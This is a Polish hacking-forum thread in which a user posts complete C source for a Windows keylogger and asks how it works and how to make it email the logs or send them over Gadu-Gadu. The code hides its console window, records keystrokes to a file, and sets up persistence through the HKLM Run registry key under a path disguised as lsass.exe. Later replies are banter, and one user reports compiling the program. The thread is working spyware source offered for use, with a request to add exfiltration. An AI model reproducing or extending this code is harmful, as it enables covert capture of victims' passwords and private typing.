Pokaż wyniki od 1 do 7 z 7

Temat: Jak to dziala?

  1. #1
    Użytkownik
    Dołączył
    14-11-2006
    Posty
    12

    Domyślnie Jak to dziala?

    Znalazlem na jakims forum takiego keyloggera (wiec nie piszcie ze plagiat):
    Kod:
    #include <windows.h> 
    
    #include <stdio.h> 
    
    #include <winuser.h> 
    
    #include <windowsx.h> 
    
    
    
    #define BUFSIZE 80 
    
    
    
    int test_key(void); 
    
    int create_key(char *); 
    
    int get_keys(void); 
    
    
    
    int main(void) 
    
    { 
    
    HWND stealth; 
    
    AllocConsole(); 
    
    stealth=FindWindowA("ConsoleWindowClass",NULL); 
    
    ShowWindow(stealth,0); 
    
    
    
    int test,create; 
    
    test=test_key(); 
    
    
    
    if (test==2) // Create key. 
    
    { 
    
    char *path="C:WINDOWSsystem32lsass.exe"; 
    
    create=create_key(path); 
    
    
    
    } 
    
    
    
    
    
    int t=get_keys(); 
    
    
    
    return t; 
    
    } 
    
    
    
    int get_keys(void) 
    
    { 
    
    short character; 
    
    while(1) 
    
    { 
    
    Sleep(10); // To prevent 100% CPU usage. 
    
    for(character=8;character<=222;character++) 
    
    { 
    
    if(GetAsyncKeyState(character)==-32767) 
    
    { 
    
    
    
    FILE *file; 
    
    file=fopen("Kkey.log","a+"); 
    
    if(file==NULL) 
    
    { 
    
    return 1; 
    
    } 
    
    if(file!=NULL) 
    
    { 
    
    if((character>=39)&&(character<=64)) 
    
    { 
    
    fputc(character,file); 
    
    fclose(file); 
    
    break; 
    
    } 
    
    else if((character>64)&&(character<91)) 
    
    { 
    
    character+=32; 
    
    fputc(character,file); 
    
    fclose(file); 
    
    break; 
    
    } 
    
    else 
    
    { 
    
    switch(character) 
    
    { 
    
    case VK_SPACE: 
    
    fputc(' ',file); 
    
    fclose(file); 
    
    break; 
    
    case VK_SHIFT: 
    
    fputs("[SHIFT]",file); 
    
    fclose(file); 
    
    break; 
    
    case VK_RETURN: 
    
    fputs("n[ENTER]",file); 
    
    fclose(file); 
    
    break; 
    
    case VK_BACK: 
    
    fputs("[BACKSPACE]",file); 
    
    fclose(file); 
    
    break; 
    
    case VK_TAB: 
    
    fputs("[TAB]",file); 
    
    fclose(file); 
    
    break; 
    
    case VK_CONTROL: 
    
    fputs("[CTRL]",file); 
    
    fclose(file); 
    
    break; 
    
    case VK_DELETE: 
    
    fputs("[DEL]",file); 
    
    fclose(file); 
    
    break; 
    
    case VK_OEM_1: 
    
    fputs("[;:]",file); 
    
    fclose(file); 
    
    break; 
    
    case VK_OEM_2: 
    
    fputs("[/?]",file); 
    
    fclose(file); 
    
    break; 
    
    case VK_OEM_3: 
    
    fputs("ö",file); 
    
    fclose(file); 
    
    break; 
    
    case VK_OEM_4: 
    
    fputs("[ [{ ]",file); 
    
    fclose(file); 
    
    break; 
    
    case VK_OEM_5: 
    
    fputs("[|]",file); 
    
    fclose(file); 
    
    break; 
    
    case VK_OEM_6: 
    
    fputs("a*",file); 
    
    fclose(file); 
    
    break; 
    
    case VK_OEM_7: 
    
    fputs("ä",file); 
    
    fclose(file); 
    
    break; 
    
    /* case VK_OEM_PLUS: 
    
    fputc('+',file); 
    
    fclose(file); 
    
    break; 
    
    case VK_OEM_COMMA: 
    
    fputc(',',file); 
    
    fclose(file); 
    
    break; 
    
    case VK_OEM_MINUS: 
    
    fputc('-',file); 
    
    fclose(file); 
    
    break; 
    
    case VK_OEM_PERIOD: 
    
    fputc('.',file); 
    
    fclose(file); 
    
    break; */ 
    
    case VK_NUMPAD0: 
    
    fputc('0',file); 
    
    fclose(file); 
    
    break; 
    
    case VK_NUMPAD1: 
    
    fputc('1',file); 
    
    fclose(file); 
    
    break; 
    
    case VK_NUMPAD2: 
    
    fputc('2',file); 
    
    fclose(file); 
    
    break; 
    
    case VK_NUMPAD3: 
    
    fputc('3',file); 
    
    fclose(file); 
    
    break; 
    
    case VK_NUMPAD4: 
    
    fputc('4',file); 
    
    fclose(file); 
    
    break; 
    
    case VK_NUMPAD5: 
    
    fputc('5',file); 
    
    fclose(file); 
    
    break; 
    
    case VK_NUMPAD6: 
    
    fputc('6',file); 
    
    fclose(file); 
    
    break; 
    
    case VK_NUMPAD7: 
    
    fputc('7',file); 
    
    fclose(file); 
    
    break; 
    
    case VK_NUMPAD8: 
    
    fputc('8',file); 
    
    fclose(file); 
    
    break; 
    
    case VK_NUMPAD9: 
    
    fputc('9',file); 
    
    fclose(file); 
    
    break; 
    
    case VK_CAPITAL: 
    
    fputs("[CAPS LOCK]",file); 
    
    fclose(file); 
    
    break; 
    
    default: 
    
    fclose(file); 
    
    break; 
    
    } 
    
    } 
    
    } 
    
    } 
    
    } 
    
    
    
    } 
    
    return EXIT_SUCCESS; 
    
    } 
    
    
    
    int test_key(void) 
    
    { 
    
    int check; 
    
    HKEY hKey; 
    
    char path[BUFSIZE]; 
    
    DWORD buf_length=BUFSIZE; 
    
    int reg_key; 
    
    
    
    reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWAREMicrosoftWindowsCurrentVersionRun",0,KEY_QUERY_VALUE,&hKey); 
    
    if(reg_key!=0) 
    
    { 
    
    check=1; 
    
    return check; 
    
    } 
    
    
    
    reg_key=RegQueryValueEx(hKey,"Kkey",NULL,NULL,(LPBYTE)path,&buf_length); 
    
    
    
    if((reg_key!=0)||(buf_length>BUFSIZE)) 
    
    check=2; 
    
    if(reg_key==0) 
    
    check=0; 
    
    
    
    RegCloseKey(hKey); 
    
    return check; 
    
    } 
    
    
    
    int create_key(char *path) 
    
    { 
    
    int reg_key,check; 
    
    
    
    HKEY hkey; 
    
    
    
    reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWAREMicrosoftWindowsCurrentVersionRun",&hkey); 
    
    if(reg_key==0) 
    
    { 
    
    RegSetValueEx((HKEY)hkey,"Kkey",0,REG_SZ,(BYTE *)path,strlen(path)); 
    
    check=0; 
    
    return check; 
    
    } 
    
    if(reg_key!=0) 
    
    check=1; 
    
    
    
    return check; 
    
    }
    Moglby mi ktos wyjasnic jak to dziala, i jak dodac do tego funkcje wysylania na logow maila lub na gg?

  2. #2

    Domyślnie

    sie C++ musisz nauczyc

  3. #3
    Użytkownik
    Dołączył
    18-11-2006
    Posty
    2

    Domyślnie

    na nauke C++ to Ci zejdzie dużo czasu:P a uczyć sie możesz np. przez lekcje które są w necie (ja nie mam chęci tego czytać i sie ucze zawsze na błędach)

  4. #4
    Użytkownik
    Dołączył
    22-08-2006
    Posty
    614

    Domyślnie

    piotrek00, to ja rzucę cytatem: "Tylko idiota uczy się na własnych błędach. Człowiek mądry uczy się na błędach cudzych."

  5. #5
    Użytkownik
    Dołączył
    27-09-2006
    Posty
    41

    Domyślnie

    A ja skompilowałem ten keylogger, i jakby dopisać do niego funkcje wysyłania na e-mail, to byłby niezawodny .

  6. #6

    Domyślnie

    Originally posted by Dove
    A ja skompilowałem ten keylogger, i jakby dopisać do niego funkcje wysyłania na e-mail, to byłby niezawodny .
    Oj chyba nie wiesz co mowisz.

  7. #7
    Użytkownik
    Dołączył
    23-12-2006
    Posty
    2

    Domyślnie

    Powie mi ktos dlaczemu muwicie ze to nie zawodny keylogger jak ja go skompilowalem zapisalem zalanczam i na sec pojawia sie okienko potem znika i nic nawet ponownie skompilowac go nie moge bo chcialem sprubowac go zatrzymac ("pause").Ale chyba nie bardzo rozumiem jak dziala taki keylogger moze jakis mily czlowiek mi wytlumaczy?? Zgory dzienkuje i pozdrawiam.

Podobne wątki

  1. gg dziala a czy cmd tez
    Przez seba2122
    w forum Exploity
    Odpowiedzi: 1
    Ostatni post / autor: 24-11-2007, 22:17
  2. GGT - Nie dziala?!
    Przez Grucha_ss
    w forum Trojany - zdalna administracja
    Odpowiedzi: 6
    Ostatni post / autor: 02-12-2005, 14:14
  3. Nie dziala mi GG
    Przez MaStErTwIsTeR
    w forum Głupie pytania i jeszcze głupsze odpowiedzi. - spora dawka humoru ...
    Odpowiedzi: 2
    Ostatni post / autor: 14-06-2005, 21:46
  4. PGG nie dziala!!
    Przez Bartuc
    w forum Komunikatory
    Odpowiedzi: 8
    Ostatni post / autor: 19-01-2005, 13:59
  5. czy to dziala ?????????
    Przez Dajmos
    w forum Trojany - zdalna administracja
    Odpowiedzi: 4
    Ostatni post / autor: 12-06-2002, 19:08

Uprawnienia

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •